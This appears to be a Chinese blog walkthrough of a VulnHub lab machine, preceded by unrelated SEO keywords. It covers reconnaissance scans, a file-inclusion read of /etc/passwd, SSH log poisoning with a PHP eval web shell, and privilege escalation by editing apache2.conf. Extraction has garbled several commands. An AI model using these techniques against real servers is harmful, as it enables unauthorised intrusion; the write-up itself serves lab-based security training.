如何设立网站,php做直播网站,wordpress 有支付接口,学动漫设计好就业吗文章目录 一.信息收集1.网段探测2.端口扫描3.版本服务探测4.漏扫5.目录扫描 二.漏洞利用1.分析信息2..fuzz工具 三.getshell四.提权六.nmap提权 一.信息收集 1.网段探测 因为使用的是VMware#xff0c;靶机的IP地址是192.168.9.84 ┌──(root㉿kali)-[~/kali/vulnhub] └─… 文章目录 一.信息收集1.网段探测2.端口扫描3.版本服务探测4.漏扫5.目录扫描 二.漏洞利用1.分析信息2..fuzz工具 三.getshell四.提权六.nmap提权 一.信息收集 1.网段探测 因为使用的是VMware靶机的IP地址是192.168.9.84 ┌──(root㉿kali)-[~/kali/vulnhub] └─# arp-scan -l Interface: eth0, type: EN10MB, MAC: 00:0c:29:10:3c:9b, IPv4: 192.168.9.75 Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.9.2 d4:8f:a2:9f:51:49 Huawei Device Co., Ltd. 192.168.9.12 7c:b5:66:a5:f0:a5 Intel Corporate 192.168.9.19 04:ec:d8:8b:87:06 Intel Corporate 192.168.9.84 00:0c:29:ea:db:a2 VMware, Inc. 192.168.9.22 30:03:c8:49:52:4d CLOUD NETWORK TECHNOLOGY SINGAPORE PTE. LTD. 192.168.9.7 42:45:ab:5e:e9:ce (Unknown: locally administered)2.端口扫描 可以看到只开放了2280端口 ┌──(root㉿kali)-[~/kali/vulnhub] └─# nmap -p- 192.168.9.84 --min-rate 10000 Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-03 06:47 EDT Nmap scan report for 192.168.9.84 Host is up (0.00086s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:EA:DB:A2 (VMware)Nmap done: 1 IP address (1 host up) scanned in 89.54 secondsUDP扫描 ┌──(root㉿kali)-[~/kali/vulnhub] └─# nmap -sU 192.168.9.84 --min-rate 10000 Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-03 06:52 EDT Nmap scan report for 192.168.9.84 Host is up (0.0027s latency). Not shown: 994 open|filtered udp ports (no-response) PORT STATE SERVICE 1033/udp closed netinfo-local 1885/udp closed vrtstrapserver 20411/udp closed unknown 21702/udp closed unknown 42313/udp closed unknown 62958/udp closed unknown MAC Address: 00:0C:29:EA:DB:A2 (VMware)Nmap done: 1 IP address (1 host up) scanned in 0.63 second3.版本服务探测 得到web服务上架设apache2.4.29版本的 ┌──(root㉿kali)-[~/kali/vulnhub] └─# nmap -sT -sV -O -p22,80 192.168.9.84 Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-03 06:53 EDT Nmap scan report for 192.168.9.84 Host is up (0.0014s latency).PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) MAC Address: 00:0C:29:EA:DB:A2 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.57 seconds4.漏扫 nmap自带的常见漏洞扫描脚本扫出来两个目录/console/images ┌──(root㉿kali)-[~/kali/vulnhub] └─# nmap --scriptvuln -p22,80 192.168.9.84 --min-rate 1000 Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-03 06:59 EDT Nmap scan report for 192.168.9.84 Host is up (0.00070s latency).PORT STATE SERVICE 22/tcp open ssh 80/tcp open http |_http-dombased-xss: Couldnt find any DOM based XSS. | http-enum: | /console/: Potentially interesting directory w/ listing on apache/2.4.29 (ubuntu) |_ /images/: Potentially interesting directory w/ listing on apache/2.4.29 (ubuntu) |_http-stored-xss: Couldnt find any stored XSS vulnerabilities. | http-internal-ip-disclosure: |_ Internal IP Leaked: 127.0.1.1 |_http-csrf: Couldnt find any CSRF vulnerabilities. MAC Address: 00:0C:29:EA:DB:A2 (VMware)Nmap done: 1 IP address (1 host up) scanned in 32.64 seconds Nikto 是一个用于网站和 Web 服务器的漏洞扫描工具它能够发现各种类型的安全问题如文件泄露、不安全的配置、弱密码等 ┌──(root㉿kali)-[~/kali/vulnhub] └─# nikto -h 192.168.9.84 - Nikto v2.1.6 ---------------------------------------------------------------------------Target IP: 192.168.9.84Target Hostname: 192.168.9.84Target Port: 80Start Time: 2024-04-03 07:01:51 (GMT-4) ---------------------------------------------------------------------------Server: Apache/2.4.29 (Ubuntu)The anti-clickjacking X-Frame-Options header is not present.The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSSThe X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME typeNo CGI Directories found (use -C all to force check all possible dirs)IP address found in the location header. The IP is 127.0.1.1.OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is 127.0.1.1.Server may leak inodes via ETags, header found with file /, inode: 38a1, size: 5a72f099ae180, mtime: gzipApache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.Allowed HTTP Methods: GET, POST, OPTIONS, HEADOSVDB-3268: /images/: Directory indexing found.OSVDB-3233: /icons/README: Apache default file found.OSVDB-3268: /console/: Directory indexing found./console/: Application console found7915 requests: 0 error(s) and 12 item(s) reported on remote hostEnd Time: 2024-04-03 07:02:57 (GMT-4) (66 seconds) ---------------------------------------------------------------------------1 host(s) tested 5.目录扫描 ┌──(root㉿kali)-[~/kali/vulnhub] └─# dirsearch -u http://192.168.9.84 -x 403,404,500_|. _ _ _ _ _ _|_ v0.4.3(_||| _) (/_(_|| (_| )Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460Output File: /root/kali/vulnhub/reports/http_192.168.9.84/_24-04-03_07-04-58.txtTarget: http://192.168.9.84/[07:04:58] Starting: [07:05:33] 301 - 314B - /console - http://192.168.9.84/console/ [07:05:33] 200 - 456B - /console/ [07:05:45] 200 - 721B - /images/ [07:05:45] 301 - 313B - /images - http://192.168.9.84/images/Task Completed 二.漏洞利用 1.分析信息 images目录都是图片没有什么用 console目录file.php文件打开是一个空白页面php应该被解析了看到file.php应该就连想到文件包含但是不知道参数是什么使用wfuzz爆破 2…fuzz工具 wfuzz可以通过替换 URL 中的参数值来进行模糊测试以发现可能的漏洞如目录遍历、文件包含、SQL 注入等 ┌──(root㉿kali)-[~/kali/vulnhub] └─# wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://192.168.9.84/console/file.php?FUZZ/etc/passwd像这种我们只需要找到最后一个字段为/bin/bash的用户才是可用账户root/natraj/mahakal ┌──(root㉿kali)-[~/kali/vulnhub] └─# curl http://192.168.9.84/console/file.php?file/etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin uuidd:x:105:109::/run/uuidd:/usr/sbin/nologin natraj:x:1000:1000:natraj,,,:/home/natraj:/bin/bash sshd:x:106:65534::/run/sshd:/usr/sbin/nologin mahakal:x:1001:1001:,,,:/home/mahakal:/bin/bash三.getshell 文件包含如何获取getshell包含日志文件Ubuntu的日志文件/var/log/apache2/access.log,经过测试没有什么东西包含ssh日志文件可以/var/log/auth.log 这里IP地址换了因为靶机出现错误重置了 ssh ?php eval(\$_POST[1]);?192.168.9.85 访问若看的不明显查看源代码即可 http://192.168.9.85/console/file.php?file/var/log/auth.log 蚁剑连接 四.提权 在系统中查找所有可写的文件 www-dataubuntu:/home/natraj$ find / -type f -writable 2/dev/null | grep -v proc /sys/kernel/security/apparmor/.remove /sys/kernel/security/apparmor/.replace /sys/kernel/security/apparmor/.load /sys/kernel/security/apparmor/.access /sys/fs/cgroup/memory/cgroup.event_control /etc/apache2/apache2.conf-writable指定搜索可写的文件 grep -v: -v 参数表示反向匹配即匹配不包含指定字符串的行。 proc: 这里是要过滤掉的关键字表示进程相关的文件路径。由于在一些 Linux 系统中 /proc 目录下的文件并不是真实的文件可以更改apache启动用户然后反弹回其他用户的shell,就是说在www-data这个点发现不到提权将apache的启动用户改为mahakalnatraj没有提权成功使用mahakal用户中的弱点拿到root权限 修改/etc/apache2/apache2.conf文件 然后重启靶机打开蚁剑打开虚拟终端用户就变成了mahakal 六.nmap提权 这里蚁剑提权不成功建议反弹shell试一下 nmap提权